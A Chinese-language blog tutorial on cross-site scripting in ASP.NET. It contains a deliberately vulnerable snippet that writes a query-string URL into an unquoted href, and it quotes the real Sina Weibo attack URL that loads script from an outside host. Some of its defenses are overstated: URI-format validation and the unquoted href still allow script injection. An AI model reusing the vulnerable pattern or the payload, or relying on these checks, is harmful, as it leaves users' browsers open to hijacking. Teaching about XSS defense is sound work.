1.1.1 摘要
在本系列的第一篇博文中,我向大家介绍了SQL Injection常用的攻击和防范的技术。这个漏洞可以导致一些非常严重的后果,但幸运的是我们可以通过限制用户数据库的权限、使用参数化的SQL语句或使用ORM等技术来防范SQL Injection的发生,接来了要向大家介绍Cross-site scripting(XSS)。
定义:Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。攻击者一般会利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)或发起phishing攻击,网页挂马,cookie窃取等。
上面的定义有点别扭不好理解,让我们回忆一下SQL Injection是把恶意的代码注入的数据库并且执行该SQL语句,最后返回相应数据,所以SQL Injection是作用于数据库的,而XSS是通过发送恶意的代码到服务,让服务器把恶意代码发送到其他用户浏览器中,最后劫持用户浏览器,所以XSS是作用于用户的。
1.1.2 正文
XSS主要攻击方式有两种:
一种就像SQL Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
另一类则是来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少Ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
现在让我们通过具体的例子来看看XSS攻击是如何发生的,假设现在有一个招聘网站www.examplejob.com,它提供在该网站已注册的用户发布招聘信息和发送招聘信息到注册用户的功能。
图1 发布正常招聘信息
通过该网站的发布招聘信息功能,我们把招聘信息发送到该网站的服务器中,然后服务器会把信息发送到注册用户中,这样我们就实现了发布信息的目的了,然而当一些不怀好意好意的用户他们很可能利用该网站存在的漏洞对用户进行攻击。
图2发布恶意招聘信息
如上图所示,不怀好意好意的用户会把恶意代码,如:JavaScript, VBScript, ActiveX, HTML或 Flash等,把它们嵌入到发布的信息中去,然后发送到服务器中,如果服务器没有很好的校验信息,直接把信息转发到用户,这将导致一场XSS攻击灾难。
通过上面的示意例子我们发现XSS攻击和SQL Injection存在着相同点,它们是通过注恶意代码进行攻击的,不同点是它们攻击对象不尽相同。
XSS是通过注入恶意代码,如:JavaScript, VBScript, ActiveX, HTML, 或 Flash等来劫持用户浏览器,进而通过构造恶意的URL。
通过构造恶意URL攻击
假设现在有一个网站,它提供链接到www.examplejob.com网站的链接,这样链接再普通不过了,但大家有没有思考过这些外部链接可能存在危险呢?
图3 正常页面跳转
通过上图,可以看到状态栏告诉我们这个链接将跳转到http://www.exmplejob.com,为了更加直观地分析XSS攻击,我们直接在地址栏中添加url参数实现跳转,示意代码如下:
页面实现:
<p>You are now leaving this site - we're no longer responsible!</p>
<p><asp:Literal runat="server" ID="litLeavingTag" /></>
Code Behind:
var url = Request.QueryString["url"];
litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
我们通过QueryString来获取URL中传递的参数,如果URL中包含了恶意代码,那么恶意代码将跳转到恶意网站或者直接执行恶意代码劫持用户浏览器。
图4构造恶意URL
上图我们在地址栏中输入一段Javascript代码,这也是XSS常用的攻击手段,它通过构造恶意的URL,当用户点击链接后,实现在用户的浏览器中运行恶意的代码。
图5构造恶意URL
当我们点击链接后,这次浏览器运行了恶意Javascript代码弹出了一个消息框提示我们已经被黑了,但实际情况XSS攻击并不会那么容易被用户察觉,而且攻击不仅仅是弹一个提示框。
校验用户输入
在前一博文中,我们通过正则表达式来校验用户输入是否包含恶意代码来防御SQL Injection攻击,而这里我们也是通过正则表达式来检验用户输入是否包含恶意的代码。
由于RFC3986规范中,规定只允使用19保留字符可以执行一些特殊功能,那么接下来让我们实现URL的正则表达式校验吧。
图6 URL中保留字符
var url = Request.QueryString["url"];
if (!string.IsNullOrEmpty(url))
{this.litLeavingTag.Text =Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ?string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";
}
这里我们使用了Regex的静态方法IsMatch()方法对URL进行校验,当我们试图再次注入恶意的Javascript代码时,成功的校验出了该URL是非法的。(想查看更强大URL校验请点这里)
图7 正则表达式校验
前面我们使用自定义的正则表示式对URL进行校验,但.NET Framework中已经提供了校验URL是否合法的方法Uri.IsWellFormedUriString(),我们只需把URL字符串传递给它进行校验就OK了,接下来让我们实现校验URL的功能。
MSDN:默认情况下,字符串被认为是符合 RFC 2396 和 RFC 2732 的标准格式的,如果启用国际资源标识符(IRIs)或国际化域名解析(IDN)分析时,则符合RFC 3986和RFC 3987规范的字符串被认为是完备的,符合规范的。
var url = Request.QueryString["url"];// Adds the method to validate the url is correct or not.
if (Uri.IsWellFormedUriString(url, UriKind.Absolute))
{litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
}
else
{litLeavingTag.Text = "The url is invalid.";
}
图8 正则表达式校验
当我们再次执行包含恶意Javascript代码的URL时,程序成功的校验出了URL中包含了恶意代码,这也就可以有效防御XSS攻击了。
使用.NET中的ValidateRequest校验
.NET Framework中提供ValidateRequest属性防御XSS攻击,由于ValidateRequest的默认值为true,当页面中没有设置ValidateRequest属性值时,则页面默认需要请求验证,反之ValidateRequest为false时,页面无需请求验证,所以我们无需编写一行代码,就可以有效的防御XSS攻击。
我们把正则表达式校验功能注销了,然后在页面或Web.Config文件中,将ValidateRequest值设置为true,实现代码如下:
页面中设置:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="security.aspx.cs" Inherits="security" ValidateRequest="true" %>
Web.Config中的ValidateRequest属性应用于所有页面:
<pages validateRequest="true" />
图9 ValidateRequest校验
HTML编码输出
XSS漏洞是由于程序在输出数据的时候没有作好处理导致恶意代码被浏览器解析造成的,所以另一种必不可少的XSS防御策略是输出编码方式,它通过确保在一个字符串中的每个字符都以正确的形式呈现。例如,为了在浏览器中正确地呈现“<”,“>”或空格等文本时,我们需要对其进行编码处理,否则浏览器将根据这些特性文本去执行其功能,而不是正确的呈现在页面上。
我们常见的HTML编码有: ,<,>和" 等等。
通常,我们需要在网页上显示用户输入的数据,这时HttpUtility.HtmlEncode()方法派上用场了。
使用HttpUtility.HtmlEncode()方法来进行编码的输出,如果在传递的字符串中包含标点符合,它就会对该字符进行编码处理,如下面的示例代码所示。
protected void btnSubmit_Click(object sender, EventArgs e)
{string inputText = this.Request.Form["txtInput"];if (!string.IsNullOrEmpty(inputText)){// Encodes text.this.litLeavingTag.Text = HttpUtility.HtmlEncode(inputText);}
}
图10 提交恶意代码
上面我们把包含恶意Javascript代码提交到服务器。
服务器使用.NET Framework中提供的静态方法——HttpUtility.HtmlEncode()对字符串中的标点符号进行编码处理,我们看到符号“<”和“>”被转化成为“<”和“>”了。
非HTML编码输出
前面对呈现的文本都使用了HTML编码输出,事实上并非所有的输出都为HTML编码。JavaScript就是一个很好的例子,让我们回忆一下前面的介绍的例子You have been hacked,我们把文本显示在一个消息提示框中,而非直接呈现在页面上。
图12 非Html编码输出
当我们把HTML编码后的文本通过消息提示框显示时,文本还是以编码后的形式显示没有进行解码处理,但用户一看到他们的第一反应就是说我们的程序出现乱码有问题,其实我们心知只是还没有进行解码处理而已,所以在一些非HTML编码中我们还要先进行解码处理HttpUtility.HtmlDecode()方法。
想必大家对新浪微博XSS攻击事件记忆犹新吧!它利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,然后通过http://163.fm/PxZHoxn短链接服务,将链接指向:
">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script>
URL编码后显示:
Sina Visitor System
通过上面的例子大家发现其实上面的XSS攻击也并不是那么神秘。
1.1.3 总结
XSS攻击作为Web业务的最大威胁之一,它犯下了种种罪行例如新浪微博的XSS攻击事件,不仅危害Web业务本身,对访问Web业务的用户也会带来直接的影响,如何防御和阻止XSS攻击,保障Web站点的业务安全,这个重担有落到每一位开发者的身上了。